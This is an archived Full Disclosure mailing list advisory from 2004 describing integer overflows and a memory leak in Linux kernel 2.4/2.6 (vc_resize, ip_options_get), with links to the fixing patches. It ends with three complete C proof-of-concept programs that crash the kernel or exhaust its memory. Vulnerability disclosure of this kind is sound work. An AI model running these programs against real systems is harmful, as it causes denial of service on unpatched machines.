Full Disclosure mailing list archives
fun with linux kernel
From: Georgi Guninski <guninski () guninski com>
Date: Wed, 15 Dec 2004 19:15:04 +0200
Georgi Guninski security advisory #72, 2004 Fun with the linux kernel (2.6,2.4). windoze is a joke Systems affected: linux kernel 2.6 <= 2.6.9, 2.4 <= 2.4.28 on i386 (at least) Date: 15 December 2004 Legal Notice: This Advisory is Copyright (c) 2004 Georgi Guninski. You may not modify it and distribute it or distribute parts of it without the author's written permission - this especially applies to so called "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/where_do_you_want_billg_to_go_today_2.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: there are local integer overflows in ip_options_get and vc_resize and a local memory leak in ip_options_get. this means at least a DoS. Details: 1. vc_resize there is an integer overflow in vc_resize in vt.c: -------------------- int vc_resize(int currcons, unsigned int cols, unsigned int lines) { unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err = 0; unsigned int old_cols, old_rows, old_row_size, old_screen_size; unsigned int new_cols, new_rows, new_row_size, new_screen_size; unsigned short *newscreen; WARN_CONSOLE_UNLOCKED(); if (!vc_cons_allocated(currcons)) return -ENXIO; new_cols = (cols ? cols : video_num_columns); new_rows = (lines ? lines : video_num_lines); new_row_size = new_cols << 1; new_screen_size = new_row_size * new_rows; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if (new_cols == video_num_columns && new_rows == video_num_lines) return 0; newscreen = (unsigned short *) kmalloc(new_screen_size, GFP_USER); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -------------------- (new_row_size * new_rows) may be > 2^32 - 1 it is called by at least vt_ioctl.c case VT_RESIZEX: there is some chance it may be exploitable, have not checked much. this works only from console (unless you may do ptrace()). 2. memory leak in ip_options_get there is local memory leak if ip_cmsg_send calls a lot times ip_options_get. ip_options_get does kmalloc() and overwrites the previously kmalloc()ed pointer, so it can't be freed. 3. ip_options_get integer overflow (in 2.4 can't be done) the cmsg_len fun was disclosed first by Paul Starzetz <ihaquer () isec pl> there is local integer overflow in 2.6.9 in ip_options_get (net/ipv4/ip_options.c) triggered by ip_cmsg_send (net/ipv4/ip_sockglue.c): ------- int err; case IP_RETOPTS: err = cmsg->cmsg_len - CMSG_ALIGN(sizeof(struct cmsghdr)); err = ip_options_get(&ipc->opt, CMSG_DATA(cmsg), err < 40 ? err : 40, 0); ------------------------------------------------ ^^^^^^^^^^^^^^^ if cmsg->cmsg_len is -1, optlen in ip_options_get may be -13 and then opt = kmalloc(sizeof(struct ip_options)+((optlen+3)&~3), GFP_KERNEL); overflows and then memcpy(opt->__data, data, optlen); blows the kernel. another interesting code path with negative cmsg_len is compat.c: ----------------------- int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg, unsigned char *stackbuf, int stackbuf_size) { if(kcmlen > stackbuf_size) kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL); while(ucmsg != NULL) { __get_user(ucmlen, &ucmsg->cmsg_len); tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmsg->cmsg_len = tmp; __get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level); __get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type); /* Copy over the data. */ if(copy_from_user(CMSG_DATA(kcmsg), CMSG_COMPAT_DATA(ucmsg), (ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))))) goto out_free_efault; -------------- though it does not seem hit with default vanilla kernel. Fix:
= 2.6.10rc3bk5 fixes the problems.
seems like the 2.4rc is also fixed. The following patches help: http://linux.bkbits.net:8080/linux-2.6/cset@41b768d1ySHbfa7cUWDle8NjDT_02A http://linux.bkbits.net:8080/linux-2.6/cset@41b76c07Ee61GkoNwMH-oOvWG2FdxA http://linux.bkbits.net:8080/linux-2.6/cset@41b9e26aALoEsodik-bxhwSetwv13g http://linux.bkbits.net:8080/linux-2.6/cset@41b76673BNGyitGqJmXlJzqgdV85yg http://linux.bkbits.net:8080/linux-2.4/cset@41b76e94BsJKm8jhVtyDat9ZM1dXXg http://linux.bkbits.net:8080/linux-2.4/cset@41b766beodCDEFPbjDRLoUUUxw4Z6w http://linux.bkbits.net:8080/linux-2.4/cset@41b77314ZtyUzWzZFzaCRGoQc6hKcw http://linux.bkbits.net:8080/linux-2.4/cset@41c01f2bHFmPwBYQmce6Aw0owIyqkg testcases: /* vc_resize int overflow * Copyright Georgi Guninski * Cannot be used in vulnerability databases * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/vt.h> #include <sys/vt.h> #include <sys/ioctl.h> #include <string.h> #include <unistd.h> int main(int ac, char **av) { int fd; struct vt_consize vv; int cou=4242; fd=open("/dev/tty",O_RDWR); if (fd<0) {perror("open");return -42;} memset(&vv,0,sizeof(vv)); vv.v_clin=0; vv.v_vcol=0; vv.v_ccol=0; /* magic values, overflow on i386*/ vv.v_rows=65535; vv.v_cols=32769; system("sync"); if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;} while(cou--) printf(";)\n"); close(fd); return 42; } /* memory leak * Copyright Georgi Guninski * Cannot be used in vulnerability databases (like securityfocus and mitre) * */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <ctype.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int ac,char **av) { struct msghdr msghdr; struct iovec iovector[10]; int i,s,j,ma; struct sockaddr_in sockad; char msg[128]; struct cmsghdr *cmsg,*cm2; char opts[24]; ma=250; printf("just wait and watch memory usage\n"); memset(opts,0,sizeof(opts)); while(42) { s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0); sockad.sin_family = AF_INET; sockad.sin_addr.s_addr=inet_addr("127.0.0.1"); sockad.sin_port=htons(8080); connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); memset(msg,'v',sizeof(msg)); #define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024) cmsg = malloc(VV); memset(cmsg,0,VV); cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cmsg->cmsg_level = SOL_IP; cmsg->cmsg_type = IP_RETOPTS; memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts)); for(j=0;j<ma;j++) { cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts)); } cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = sizeof(struct cmsghdr) + 8; msghdr.msg_name = &sockad; msghdr.msg_namelen = sizeof(sockad); msghdr.msg_control=cmsg; msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len; msghdr.msg_iov = iovector; msghdr.msg_iovlen = 1; iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg); if ((i = sendmsg(s, &msghdr, 0)) < 0) {perror("sendmsg");return -42;} close(s); free(cmsg); } return 42; } /* int overflow in ip_options_get * Copyright Georgi Guninski * Cannot be used in vulnerability databases (like securityfocus and mitre) * */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <ctype.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int ac,char **av) { struct msghdr msghdr; struct iovec iovector[10]; int i,s; struct sockaddr_in sockad; char msg[128]; struct cmsghdr *cmsg,*cm2; char opts[12]; s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0); sockad.sin_family = AF_INET; sockad.sin_addr.s_addr=inet_addr("127.0.0.1"); sockad.sin_port=htons(8080); connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); memset(msg,'v',sizeof(msg)); memset(opts,0,sizeof(opts)); #define VV 1024*1024 cmsg = malloc(VV); memset(cmsg,0,VV); cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cmsg->cmsg_level = SOL_IP; cmsg->cmsg_type = IP_RETOPTS; memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts)); cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = -1; msghdr.msg_name = &sockad; msghdr.msg_namelen = sizeof(sockad); msghdr.msg_control=cmsg; msghdr.msg_controllen= cmsg->cmsg_len + 420; msghdr.msg_iov = iovector; msghdr.msg_iovlen = 1; iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg); system("sync"); if ((i = sendmsg(s, &msghdr, 0)) < 0) perror("sendmsg"); return 42; } Georgi Guninski _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- fun with linux kernel Georgi Guninski (Dec 21)